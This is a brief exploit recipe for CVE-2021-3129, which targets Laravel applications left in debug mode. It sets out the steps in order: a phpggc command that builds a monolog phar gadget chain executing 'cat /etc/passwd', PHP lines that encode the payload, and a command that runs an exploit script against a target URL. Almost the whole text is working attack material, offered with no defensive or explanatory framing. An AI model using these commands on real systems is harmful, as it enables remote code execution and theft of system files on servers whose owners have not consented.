
CVE-2021-3129-Laravel Debug mode
Generate a phar package with custom commands:
php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0
php -a enter the php command line environment
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
$size = "";
fwrite($fp, iconv('utf-8','utf-16le',$size));
Save the generated payload as a file, then use the script to specify:
python laravel.py --url "http(s)://192.168.0.109:8000/" --phar test.phar